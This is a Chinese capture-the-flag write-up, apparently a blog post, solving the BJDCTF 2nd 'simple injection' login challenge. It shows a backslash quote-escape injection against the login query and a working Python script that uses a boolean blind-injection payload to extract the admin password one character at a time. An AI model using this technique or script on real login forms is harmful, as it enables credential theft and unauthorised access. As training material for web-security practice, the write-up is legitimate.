[BJDCTF 2nd]简单注入

扫描目录后发现robots.txt

 

 

 访问hint.txt

 

 

 题目提示了一句SQL语句

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

返回首页,输入admin'/admin尝试登陆,发现过滤了单引号

 

 使用字典测试一下过滤了那些

 

 发现他过滤了union,select,=,-,and,like,;等关键字,过滤了union select不能使用联合注入,使用报错注入没有回显,考点应该是盲注

 重新回到提示的SQL语句

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

我们可以输入admin\ 和 or 1#,也就是构造如下SQL语句,这样password字段后面的语句便可以逃逸执行

select * from users where username='admin\' and password='or 1#';

 

可以发现从You konw ,P3rh4ps needs a girl friend变成了BJD needs to be stronger,存在盲注,这样就可以编写脚本来获取password字段的值

首先构造核心payLoad:

'or/**/(ascii(substr(password,{},1))>{})#'.format(i,j)

完整脚本如下:

import requests

url = "http://f6cf878f-d201-4590-aa11-0b2e9d4abce5.node3.buuoj.cn/index.php"
flag = ""

for i in range(1, 50):
    for j in range(32, 126):
        payload = "or/**/(ascii(substr(password,{},1))>{})#".format(i, j)
        data = {"username": "admin\\", "password": payload}
        re = requests.post(url, data=data)
        if "P3rh4ps" in re.text:
            flag += chr(j)
            print(flag)
            break

 

 跑出password后,登陆便可获取到flag

 

 

posted @ 2020-07-16 11:15  GTX690M  阅读(345)  评论(0编辑  收藏  举报